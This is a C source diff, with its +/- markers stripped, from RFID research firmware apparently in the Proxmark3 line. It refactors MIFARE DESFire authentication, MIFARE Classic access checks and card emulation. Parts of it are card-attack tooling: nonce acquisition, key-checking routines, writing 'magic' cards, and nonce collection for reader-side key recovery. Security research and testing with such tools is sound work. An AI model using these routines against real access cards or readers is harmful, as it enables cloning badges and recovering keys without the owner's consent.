void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, uint8_t *datain);
void MifareAcquireStaticEncryptedNonces(uint32_t flags, uint8_t *key);
int MifareAcquireStaticEncryptedNonces(uint32_t flags, const uint8_t *key, bool reply, uint8_t first_block_no, uint8_t first_key_type);
void MifareAcquireNonces(uint32_t arg0, uint32_t flags);
void MifareChkKeys(uint8_t *datain, uint8_t reserved_mem);
void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
void MifareChkKeys_file(uint8_t *fn);
void MifareEMemClr(void);
void MifareEMemGet(uint8_t blockno, uint8_t blockcnt);
int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype);
int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype);
int MifareECardLoad(uint8_t sectorcnt, uint8_t keytype, uint8_t *key);
int MifareECardLoadExt(uint8_t sectorcnt, uint8_t keytype, uint8_t *key);
// MFC GEN1a /1b
void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint8_t *datain); // Work with "magic Chinese" card

View file

@ -60,7 +60,7 @@ bool InitDesfireCard(void) {
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
set_tracing(true);
if (!iso14443a_select_card(NULL, &card, NULL, true, 0, false)) {
if (iso14443a_select_card(NULL, &card, NULL, true, 0, false) == 0) {
if (g_dbglevel >= DBG_ERROR) DbpString("Can't select card");
OnError(1);
return false;
@ -157,7 +157,7 @@ void MifareDesfireGetInformation(void) {
pcb_blocknum = 0;
// card select - information
if (!iso14443a_select_card(NULL, &card, NULL, true, 0, false)) {
if (iso14443a_select_card(NULL, &card, NULL, true, 0, false) == 0) {
if (g_dbglevel >= DBG_ERROR) {
DbpString("Can't select card");
}
@ -343,10 +343,11 @@ void MifareDES_Auth1(uint8_t *datain) {
uint8_t subcommand = MFDES_AUTHENTICATE;
if (payload->mode == MFDES_AUTH_AES)
if (payload->mode == MFDES_AUTH_AES) {
subcommand = MFDES_AUTHENTICATE_AES;
else if (payload->mode == MFDES_AUTH_ISO)
} else if (payload->mode == MFDES_AUTH_ISO) {
subcommand = MFDES_AUTHENTICATE_ISO;
}
if (payload->mode != MFDES_AUTH_PICC) {
// Let's send our auth command
@ -364,7 +365,7 @@ void MifareDES_Auth1(uint8_t *datain) {
len = DesfireAPDU(cmd, 2, resp);
}
if (!len) {
if (len == 0) {
if (g_dbglevel >= DBG_ERROR) {
DbpString("Authentication failed. Card timeout.");
}
@ -408,6 +409,7 @@ void MifareDES_Auth1(uint8_t *datain) {
// Part 3
if (payload->algo == MFDES_ALGO_AES) {
if (mbedtls_aes_setkey_dec(&ctx, key->data, 128) != 0) {
if (g_dbglevel >= DBG_EXTENDED) {
DbpString("mbedtls_aes_setkey_dec failed");
@ -416,12 +418,14 @@ void MifareDES_Auth1(uint8_t *datain) {
return;
}
mbedtls_aes_crypt_cbc(&ctx, MBEDTLS_AES_DECRYPT, 16, IV, encRndB, RndB);
} else if (payload->algo == MFDES_ALGO_DES)
} else if (payload->algo == MFDES_ALGO_DES) {
des_decrypt(RndB, encRndB, key->data);
else if (payload->algo == MFDES_ALGO_3DES)
} else if (payload->algo == MFDES_ALGO_3DES) {
tdes_nxp_receive(encRndB, RndB, rndlen, key->data, IV, 2);
else if (payload->algo == MFDES_ALGO_3K3DES)
} else if (payload->algo == MFDES_ALGO_3K3DES) {
tdes_nxp_receive(encRndB, RndB, rndlen, key->data, IV, 3);
}
// - Rotate RndB by 8 bits
memcpy(rotRndB, RndB, rndlen);
@ -431,6 +435,7 @@ void MifareDES_Auth1(uint8_t *datain) {
// - Encrypt our response
if (payload->mode == MFDES_AUTH_DES || payload->mode == MFDES_AUTH_PICC) {
des_decrypt(encRndA, RndA, key->data);
memcpy(both, encRndA, rndlen);
@ -440,7 +445,9 @@ void MifareDES_Auth1(uint8_t *datain) {
des_decrypt(encRndB, rotRndB, key->data);
memcpy(both + 8, encRndB, rndlen);
} else if (payload->mode == MFDES_AUTH_ISO) {
if (payload->algo == MFDES_ALGO_3DES) {
uint8_t tmp[16] = {0x00};
memcpy(tmp, RndA, rndlen);
@ -452,11 +459,15 @@ void MifareDES_Auth1(uint8_t *datain) {
memcpy(tmp + rndlen, rotRndB, rndlen);
tdes_nxp_send(tmp, both, 32, key->data, IV, 3);
}
} else if (payload->mode == MFDES_AUTH_AES) {
uint8_t tmp[32] = {0x00};
memcpy(tmp, RndA, rndlen);
memcpy(tmp + 16, rotRndB, rndlen);
if (payload->algo == MFDES_ALGO_AES) {
if (mbedtls_aes_setkey_enc(&ctx, key->data, 128) != 0) {
if (g_dbglevel >= DBG_EXTENDED) {
DbpString("mbedtls_aes_setkey_enc failed");
@ -472,6 +483,7 @@ void MifareDES_Auth1(uint8_t *datain) {
if (payload->algo == MFDES_ALGO_AES || payload->algo == MFDES_ALGO_3K3DES) {
bothlen = 32;
}
if (payload->mode != MFDES_AUTH_PICC) {
cmd[0] = 0x90;
cmd[1] = MFDES_ADDITIONAL_FRAME;
@ -496,25 +508,30 @@ void MifareDES_Auth1(uint8_t *datain) {
}
if (payload->mode != MFDES_AUTH_PICC) {
if ((resp[len - 4] != 0x91) || (resp[len - 3] != 0x00)) {
DbpString("Authentication failed.");
OnErrorNG(CMD_HF_DESFIRE_AUTH1, 6);
return;
}
} else {
if (resp[1] != 0x00) {
DbpString("Authentication failed.");
OnErrorNG(CMD_HF_DESFIRE_AUTH1, 6);
return;
}
}
// Part 4
Desfire_session_key_new(RndA, RndB, key, sessionkey);
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
print_result("SESSIONKEY : ", sessionkey->data, payload->keylen);
}
if (payload->mode != MFDES_AUTH_PICC) {
memcpy(encRndA, resp + 1, rndlen);
@ -523,13 +540,17 @@ void MifareDES_Auth1(uint8_t *datain) {
}
if (payload->mode == MFDES_AUTH_DES || payload->mode == MFDES_AUTH_PICC) {
if (payload->algo == MFDES_ALGO_DES)
if (payload->algo == MFDES_ALGO_DES) {
des_decrypt(encRndA, encRndA, key->data);
else if (payload->algo == MFDES_ALGO_3DES)
} else if (payload->algo == MFDES_ALGO_3DES) {
tdes_nxp_receive(encRndA, encRndA, rndlen, key->data, IV, 2);
else if (payload->algo == MFDES_ALGO_3K3DES)
} else if (payload->algo == MFDES_ALGO_3K3DES) {
tdes_nxp_receive(encRndA, encRndA, rndlen, key->data, IV, 3);
}
} else if (payload->mode == MFDES_AUTH_AES) {
if (mbedtls_aes_setkey_dec(&ctx, key->data, 128) != 0) {
if (g_dbglevel >= DBG_EXTENDED) {
DbpString("mbedtls_aes_setkey_dec failed");
@ -546,6 +567,7 @@ void MifareDES_Auth1(uint8_t *datain) {
print_result("RndB: ", RndB, rndlen);
print_result("encRndA : ", encRndA, rndlen);
}
for (int x = 0; x < rndlen; x++) {
if (RndA[x] != encRndA[x]) {
DbpString("Authentication failed. Cannot verify Session Key.");
@ -645,10 +667,6 @@ void MifareDES_Auth1(uint8_t *datain) {
*/
//OnSuccess();
//reply_old(CMD_ACK, 1, 0, 0, skey->data, payload->keylen);
//reply_mix(CMD_ACK, 1, len, 0, resp, len);
LED_B_ON();
authres_t rpayload;
rpayload.sessionkeylen = payload->keylen;
@ -671,15 +689,17 @@ int DesfireAPDU(uint8_t *cmd, size_t cmd_len, uint8_t *dataout) {
wrappedLen = CreateAPDU(cmd, cmd_len, wCmd);
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
print_result("WCMD <--: ", wCmd, wrappedLen);
}
ReaderTransmit(wCmd, wrappedLen, NULL);
len = ReaderReceive(resp, sizeof(resp), par);
if (!len) {
if (len == 0) {
if (g_dbglevel >= DBG_EXTENDED) Dbprintf("fukked");
return false; //DATA LINK ERROR
}
// if we received an I- or R(ACK)-Block with a block number equal to the
// current block number, toggle the current block number

View file

@ -45,10 +45,11 @@
#include "crc16.h"
#include "dbprint.h"
#include "ticks.h"
#include "parity.h"
static bool IsKeyBReadable(uint8_t blockNo) {
uint8_t sector_trailer[16];
emlGetMem(sector_trailer, SectorTrailer(blockNo), 1);
uint8_t sector_trailer[MIFARE_BLOCK_SIZE] = {0};
emlGetMem_xt(sector_trailer, SectorTrailer(blockNo), 1, MIFARE_BLOCK_SIZE);
uint8_t AC = ((sector_trailer[7] >> 5) & 0x04)
| ((sector_trailer[8] >> 2) & 0x02)
| ((sector_trailer[8] >> 7) & 0x01);
@ -56,55 +57,64 @@ static bool IsKeyBReadable(uint8_t blockNo) {
}
static bool IsTrailerAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t action) {
uint8_t sector_trailer[16];
emlGetMem(sector_trailer, blockNo, 1);
uint8_t sector_trailer[MIFARE_BLOCK_SIZE] = {0};
emlGetMem_xt(sector_trailer, blockNo, 1, MIFARE_BLOCK_SIZE);
uint8_t AC = ((sector_trailer[7] >> 5) & 0x04)
| ((sector_trailer[8] >> 2) & 0x02)
| ((sector_trailer[8] >> 7) & 0x01);
switch (action) {
case AC_KEYA_READ: {
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("IsTrailerAccessAllowed: AC_KEYA_READ");
}
return false;
}
case AC_KEYA_WRITE: {
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("IsTrailerAccessAllowed: AC_KEYA_WRITE");
}
return ((keytype == AUTHKEYA && (AC == 0x00 || AC == 0x01))
|| (keytype == AUTHKEYB && (AC == 0x04 || AC == 0x03)));
}
case AC_KEYB_READ: {
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("IsTrailerAccessAllowed: AC_KEYB_READ");
}
return (keytype == AUTHKEYA && (AC == 0x00 || AC == 0x02 || AC == 0x01));
}
case AC_KEYB_WRITE: {
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("IsTrailerAccessAllowed: AC_KEYB_WRITE");
}
return ((keytype == AUTHKEYA && (AC == 0x00 || AC == 0x01))
|| (keytype == AUTHKEYB && (AC == 0x04 || AC == 0x03)));
}
case AC_AC_READ: {
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("IsTrailerAccessAllowed: AC_AC_READ");
}
return ((keytype == AUTHKEYA)
|| (keytype == AUTHKEYB && !(AC == 0x00 || AC == 0x02 || AC == 0x01)));
}
case AC_AC_WRITE: {
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("IsTrailerAccessAllowed: AC_AC_WRITE");
}
return ((keytype == AUTHKEYA && (AC == 0x01))
|| (keytype == AUTHKEYB && (AC == 0x03 || AC == 0x05)));
}
default:
default: {
return false;
}
}
}
static bool IsDataAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t action) {
uint8_t sector_trailer[16];
emlGetMem(sector_trailer, SectorTrailer(blockNo), 1);
uint8_t sector_trailer[MIFARE_BLOCK_SIZE] = {0};
emlGetMem_xt(sector_trailer, SectorTrailer(blockNo), 1, MIFARE_BLOCK_SIZE);
uint8_t sector_block;
if (blockNo <= MIFARE_2K_MAXBLOCK) {
@ -119,54 +129,62 @@ static bool IsDataAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t action
AC = ((sector_trailer[7] >> 2) & 0x04)
| ((sector_trailer[8] << 1) & 0x02)
| ((sector_trailer[8] >> 4) & 0x01);
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("IsDataAccessAllowed: case 0x00 - %02x", AC);
}
break;
}
case 0x01: {
AC = ((sector_trailer[7] >> 3) & 0x04)
| ((sector_trailer[8] >> 0) & 0x02)
| ((sector_trailer[8] >> 5) & 0x01);
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("IsDataAccessAllowed: case 0x01 - %02x", AC);
}
break;
}
case 0x02: {
AC = ((sector_trailer[7] >> 4) & 0x04)
| ((sector_trailer[8] >> 1) & 0x02)
| ((sector_trailer[8] >> 6) & 0x01);
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("IsDataAccessAllowed: case 0x02 - %02x", AC);
}
break;
}
default:
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("IsDataAccessAllowed: Error");
}
return false;
}
switch (action) {
case AC_DATA_READ: {
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("IsDataAccessAllowed - AC_DATA_READ: OK");
}
return ((keytype == AUTHKEYA && !(AC == 0x03 || AC == 0x05 || AC == 0x07))
|| (keytype == AUTHKEYB && !(AC == 0x07)));
}
case AC_DATA_WRITE: {
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("IsDataAccessAllowed - AC_DATA_WRITE: OK");
}
return ((keytype == AUTHKEYA && (AC == 0x00))
|| (keytype == AUTHKEYB && (AC == 0x00 || AC == 0x04 || AC == 0x06 || AC == 0x03)));
}
case AC_DATA_INC: {
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("IsDataAccessAllowed - AC_DATA_INC: OK");
}
return ((keytype == AUTHKEYA && (AC == 0x00))
|| (keytype == AUTHKEYB && (AC == 0x00 || AC == 0x06)));
}
case AC_DATA_DEC_TRANS_REST: {
if (g_dbglevel >= DBG_EXTENDED)
if (g_dbglevel >= DBG_EXTENDED) {
Dbprintf("AC_DATA_DEC_TRANS_REST: OK");
}
return ((keytype == AUTHKEYA && (AC == 0x00 || AC == 0x06 || AC == 0x01))
|| (keytype == AUTHKEYB && (AC == 0x00 || AC == 0x06 || AC == 0x01)));
}
@ -183,8 +201,23 @@ static bool IsAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t action) {
}
}
static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_t sak, tag_response_info_t **responses, uint32_t *cuid, uint8_t *uid_len, uint8_t **rats, uint8_t *rats_len) {
static uint8_t MifareMaxSector(uint16_t flags) {
if (IS_FLAG_MF_SIZE(flags, MIFARE_MINI_MAX_BYTES)) {
return MIFARE_MINI_MAXSECTOR;
} else if (IS_FLAG_MF_SIZE(flags, MIFARE_1K_MAX_BYTES)) {
return MIFARE_1K_MAXSECTOR;
} else if (IS_FLAG_MF_SIZE(flags, MIFARE_2K_MAX_BYTES)) {
return MIFARE_2K_MAXSECTOR;
} else if (IS_FLAG_MF_SIZE(flags, MIFARE_4K_MAX_BYTES)) {
return MIFARE_4K_MAXSECTOR;
} else {
return MIFARE_4K_MAXSECTOR;
}
}
bool MifareSimInit(uint16_t flags, uint8_t *uid, uint16_t atqa, uint8_t sak, tag_response_info_t **responses, uint32_t *cuid, uint8_t *uid_len, uint8_t **rats, uint8_t *rats_len) {
uint8_t uid_tmp[10] = {0};
// SPEC: https://www.nxp.com/docs/en/application-note/AN10833.pdf
// ATQA
static uint8_t rATQA_Mini[] = {0x04, 0x00}; // indicate Mifare classic Mini 4Byte UID
@ -235,84 +268,86 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_
// Can be set from emulator memory or incoming data
// Length: 4,7,or 10 bytes
// Get UID, SAK, ATQA from EMUL
if ((flags & FLAG_UID_IN_EMUL) == FLAG_UID_IN_EMUL) {
uint8_t block0[16];
emlGet(block0, 0, 16);
if (IS_FLAG_UID_IN_EMUL(flags)) {
// If uid size defined, copy only uid from EMUL to use, backward compatibility for 'hf_colin.c', 'hf_mattyrun.c'
if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) != 0) {
memcpy(datain, block0, 10); // load 10bytes from EMUL to the datain pointer. to be used below.
} else {
// Check for 4 bytes uid: bcc corrected and single size uid bits in ATQA
if ((block0[0] ^ block0[1] ^ block0[2] ^ block0[3]) == block0[4] && (block0[6] & 0xc0) == 0) {
flags |= FLAG_4B_UID_IN_DATA;
memcpy(datain, block0, 4);
rSAK[0] = block0[5];
memcpy(rATQA, &block0[6], sizeof(rATQA));
}
if (uid == NULL) {
uid = uid_tmp;
}
// Get UID, SAK, ATQA from EMUL
uint8_t block0[MIFARE_BLOCK_SIZE];
emlGet(block0, 0, MIFARE_BLOCK_SIZE);
// Check for 4 bytes uid: bcc corrected and single size uid bits in ATQA
if ((block0[0] ^ block0[1] ^ block0[2] ^ block0[3]) == block0[4] && (block0[6] & 0xc0) == 0) {
FLAG_SET_UID_IN_DATA(flags, 4);
memcpy(uid, block0, 4);
rSAK[0] = block0[5];
memcpy(rATQA, &block0[6], sizeof(rATQA));
} else if ((block0[8] & 0xc0) == 0x40) {
// Check for 7 bytes UID: double size uid bits in ATQA
else if ((block0[8] & 0xc0) == 0x40) {
flags |= FLAG_7B_UID_IN_DATA;
memcpy(datain, block0, 7);
rSAK[0] = block0[7];
memcpy(rATQA, &block0[8], sizeof(rATQA));
} else {
Dbprintf("ERROR: " _RED_("Invalid dump. UID/SAK/ATQA not found"));
return false;
}
FLAG_SET_UID_IN_DATA(flags, 7);
memcpy(uid, block0, 7);
rSAK[0] = block0[7];
memcpy(rATQA, &block0[8], sizeof(rATQA));
} else {
Dbprintf("ERROR: " _RED_("Invalid dump. UID/SAK/ATQA not found"));
return false;
}
} else {
if (uid == NULL) {
Dbprintf("ERROR: " _RED_("Missing UID"));
return false;
}
}
// Tune tag type, if defined directly
// Otherwise use defined by default or extracted from EMUL
if ((flags & FLAG_MF_MINI) == FLAG_MF_MINI) {
if (IS_FLAG_MF_SIZE(flags, MIFARE_MINI_MAX_BYTES)) {
memcpy(rATQA, rATQA_Mini, sizeof(rATQA));
rSAK[0] = rSAK_Mini;
if (g_dbglevel > DBG_NONE) Dbprintf("Enforcing Mifare Mini ATQA/SAK");
} else if ((flags & FLAG_MF_1K) == FLAG_MF_1K) {
} else if (IS_FLAG_MF_SIZE(flags, MIFARE_1K_MAX_BYTES)) {
memcpy(rATQA, rATQA_1k, sizeof(rATQA));
rSAK[0] = rSAK_1k;
if (g_dbglevel > DBG_NONE) Dbprintf("Enforcing Mifare 1K ATQA/SAK");
} else if ((flags & FLAG_MF_2K) == FLAG_MF_2K) {
} else if (IS_FLAG_MF_SIZE(flags, MIFARE_2K_MAX_BYTES)) {
memcpy(rATQA, rATQA_2k, sizeof(rATQA));
rSAK[0] = rSAK_2k;
*rats = rRATS;
*rats_len = sizeof(rRATS);
if (g_dbglevel > DBG_NONE) Dbprintf("Enforcing Mifare 2K ATQA/SAK with RATS support");
} else if ((flags & FLAG_MF_4K) == FLAG_MF_4K) {
} else if (IS_FLAG_MF_SIZE(flags, MIFARE_4K_MAX_BYTES)) {
memcpy(rATQA, rATQA_4k, sizeof(rATQA));
rSAK[0] = rSAK_4k;
if (g_dbglevel > DBG_NONE) Dbprintf("Enforcing Mifare 4K ATQA/SAK");
}
// Prepare UID arrays
if ((flags & FLAG_4B_UID_IN_DATA) == FLAG_4B_UID_IN_DATA) { // get UID from datain
memcpy(rUIDBCC1, datain, 4);
if (IS_FLAG_UID_IN_DATA(flags, 4)) {
memcpy(rUIDBCC1, uid, 4);
*uid_len = 4;
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("MifareSimInit - FLAG_4B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_4B_UID_IN_DATA, flags, rUIDBCC1);
// save CUID
*cuid = bytes_to_num(rUIDBCC1, 4);
// BCC
rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3];
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("MifareSimInit - Flags: %04X - BCC1: %02X", flags, rUIDBCC1[4]);
if (g_dbglevel > DBG_NONE) {
Dbprintf("4B UID: %02x%02x%02x%02x", rUIDBCC1[0], rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3]);
}
// Correct uid size bits in ATQA
rATQA[0] = (rATQA[0] & 0x3f); // single size uid
} else if ((flags & FLAG_7B_UID_IN_DATA) == FLAG_7B_UID_IN_DATA) {
memcpy(&rUIDBCC1[1], datain, 3);
memcpy(rUIDBCC2, datain + 3, 4);
} else if (IS_FLAG_UID_IN_DATA(flags, 7)) {
memcpy(&rUIDBCC1[1], uid, 3);
memcpy(rUIDBCC2, uid + 3, 4);
*uid_len = 7;
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("MifareSimInit - FLAG_7B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_7B_UID_IN_DATA, flags, rUIDBCC1);
// save CUID
*cuid = bytes_to_num(rUIDBCC2, 4);
// CascadeTag, CT
@ -320,6 +355,8 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_
// BCC
rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3];
rUIDBCC2[4] = rUIDBCC2[0] ^ rUIDBCC2[1] ^ rUIDBCC2[2] ^ rUIDBCC2[3];
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("MifareSimInit - Flags: %04X - BCC1: %02X - BCC2: %02X", flags, rUIDBCC1[4], rUIDBCC2[4]);
if (g_dbglevel > DBG_NONE) {
Dbprintf("7B UID: %02x %02x %02x %02x %02x %02x %02x",
rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3], rUIDBCC2[0], rUIDBCC2[1], rUIDBCC2[2], rUIDBCC2[3]);
@ -327,15 +364,11 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_
// Correct uid size bits in ATQA
rATQA[0] = (rATQA[0] & 0x3f) | 0x40; // double size uid
} else if ((flags & FLAG_10B_UID_IN_DATA) == FLAG_10B_UID_IN_DATA) {
memcpy(&rUIDBCC1[1], datain, 3);
memcpy(&rUIDBCC2[1], datain + 3, 3);
memcpy(rUIDBCC3, datain + 6, 4);
} else if (IS_FLAG_UID_IN_DATA(flags, 10)) {
memcpy(&rUIDBCC1[1], uid, 3);
memcpy(&rUIDBCC2[1], uid + 3, 3);
memcpy(rUIDBCC3, uid + 6, 4);
*uid_len = 10;
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("MifareSimInit - FLAG_10B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_10B_UID_IN_DATA, flags, rUIDBCC1);
// save CUID
*cuid = bytes_to_num(rUIDBCC3, 4);
// CascadeTag, CT
@ -345,7 +378,8 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_
rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3];
rUIDBCC2[4] = rUIDBCC2[0] ^ rUIDBCC2[1] ^ rUIDBCC2[2] ^ rUIDBCC2[3];
rUIDBCC3[4] = rUIDBCC3[0] ^ rUIDBCC3[1] ^ rUIDBCC3[2] ^ rUIDBCC3[3];
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("MifareSimInit - Flags: %04X - BCC1: %02X - BCC2: %02X - BCC3: %02X", flags, rUIDBCC1[4], rUIDBCC2[4], rUIDBCC3[4]);
if (g_dbglevel > DBG_NONE) {
Dbprintf("10B UID: %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x",
rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3],
@ -360,11 +394,11 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_
Dbprintf("ERROR: " _RED_("UID size not defined"));
return false;
}
if (flags & FLAG_FORCED_ATQA) {
if (flags & FLAG_ATQA_IN_DATA) {
rATQA[0] = atqa >> 8;
rATQA[1] = atqa & 0xff;
}
if (flags & FLAG_FORCED_SAK) {
if (flags & FLAG_SAK_IN_DATA) {
rSAK[0] = sak;
}
if (g_dbglevel > DBG_NONE) {
@ -425,7 +459,7 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_
// 53 * 8 data bits, 53 * 1 parity bits, 18 start bits, 18 stop bits, 18 correction bits -> need 571 bytes buffer
#define ALLOCATED_TAG_MODULATION_BUFFER_SIZE 571
uint8_t *free_buffer = BigBuf_malloc(ALLOCATED_TAG_MODULATION_BUFFER_SIZE);
uint8_t *free_buffer = BigBuf_calloc(ALLOCATED_TAG_MODULATION_BUFFER_SIZE);
// modulation buffer pointer and current buffer free space size
uint8_t *free_buffer_pointer = free_buffer;
size_t free_buffer_size = ALLOCATED_TAG_MODULATION_BUFFER_SIZE;
@ -453,16 +487,11 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_
/**
*MIFARE 1K simulate.
*
*@param flags :
* FLAG_INTERACTIVE - In interactive mode, we are expected to finish the operation with an ACK
* FLAG_4B_UID_IN_DATA - means that there is a 4-byte UID in the data-section, we're expected to use that
* FLAG_7B_UID_IN_DATA - means that there is a 7-byte UID in the data-section, we're expected to use that
* FLAG_10B_UID_IN_DATA - use 10-byte UID in the data-section not finished
* FLAG_NR_AR_ATTACK - means we should collect NR_AR responses for bruteforcing later
*@param flags: See pm3_cmd.h for the full definitions
*@param exitAfterNReads, exit simulation after n blocks have been read, 0 is infinite ...
* (unless reader attack mode enabled then it runs util it gets enough nonces to recover all keys attmpted)
* (unless reader attack mode enabled then it runs util it gets enough nonces to recover all keys attempted)
*/
void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint16_t atqa, uint8_t sak) {
void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t atqa, uint8_t sak) {
tag_response_info_t *responses;
uint8_t cardSTATE = MFEMUL_NOFIELD;
uint8_t uid_len = 0; // 4, 7, 10
@ -473,6 +502,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
uint8_t cardWRBL = 0;
uint8_t cardAUTHSC = 0;
uint8_t cardMaxSEC = MifareMaxSector(flags);
uint8_t cardAUTHKEY = AUTHKEYNONE; // no authentication
uint32_t cardRr = 0;
uint32_t ans = 0;
@ -496,28 +526,14 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
uint8_t rats_len = 0;
// if fct is called with NULL we need to assign some memory since this pointer is passaed around
uint8_t datain_tmp[10] = {0};
if (datain == NULL) {
datain = datain_tmp;
}
//Here, we collect UID,sector,keytype,NT,AR,NR,NT2,AR2,NR2
// This will be used in the reader-only attack.
//allow collecting up to 7 sets of nonces to allow recovery of up to 7 keys
#define ATTACK_KEY_COUNT 7 // keep same as define in cmdhfmf.c -> readerAttack() (Cannot be more than 7)
nonces_t ar_nr_resp[ATTACK_KEY_COUNT * 2]; // *2 for 2 separate attack types (nml, moebius) 36 * 7 * 2 bytes = 504 bytes
//allow collecting up to 16 sets of nonces to allow recovery of up to 16 keys
#define ATTACK_KEY_COUNT 16
nonces_t ar_nr_resp[ATTACK_KEY_COUNT]; // for moebius attack type
memset(ar_nr_resp, 0x00, sizeof(ar_nr_resp));
uint8_t ar_nr_collected[ATTACK_KEY_COUNT * 2]; // *2 for 2nd attack type (moebius)
memset(ar_nr_collected, 0x00, sizeof(ar_nr_collected));
uint8_t nonce1_count = 0;
uint8_t nonce2_count = 0;
uint8_t moebius_n_count = 0;
bool gettingMoebius = false;
uint8_t mM = 0; //moebius_modifier for collection storage
// Authenticate response - nonce
uint8_t rAUTH_NT[4] = {0, 0, 0, 1};
uint8_t rAUTH_NT_keystream[4];
@ -528,7 +544,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
// free eventually allocated BigBuf memory but keep Emulator Memory
BigBuf_free_keep_EM();
if (MifareSimInit(flags, datain, atqa, sak, &responses, &cuid, &uid_len, &rats, &rats_len) == false) {
if (MifareSimInit(flags, uid, atqa, sak, &responses, &cuid, &uid_len, &rats, &rats_len) == false) {
BigBuf_free_keep_EM();
return;
}
@ -547,12 +563,13 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
int counter = 0;
bool finished = false;
bool running_nested_auth_attack = false;
bool button_pushed = BUTTON_PRESS();
while ((button_pushed == false) && (finished == false)) {
WDT_HIT();
if (counter == 3000) {
if (counter == 1000) {
if (data_available()) {
Dbprintf("----------- " _GREEN_("BREAKING") " ----------");
break;
@ -562,21 +579,6 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
counter++;
}
/*
// find reader field
if (cardSTATE == MFEMUL_NOFIELD) {
vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15;
if (vHf > MF_MINFIELDV) {
cardSTATE_TO_IDLE();
LED_A_ON();
}
button_pushed = BUTTON_PRESS();
continue;
}
*/
FpgaEnableTracing();
//Now, get data
int res = EmGetCmd(receivedCmd, sizeof(receivedCmd), &receivedCmd_len, receivedCmd_par);
@ -743,10 +745,6 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1
// WORK
case MFEMUL_WORK: {
if (g_dbglevel >= DBG_EXTENDED) {
// Dbprintf("[MFEMUL_WORK] Enter in case");
}
if (receivedCmd_len == 0) {
if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] NO CMD received");
break;
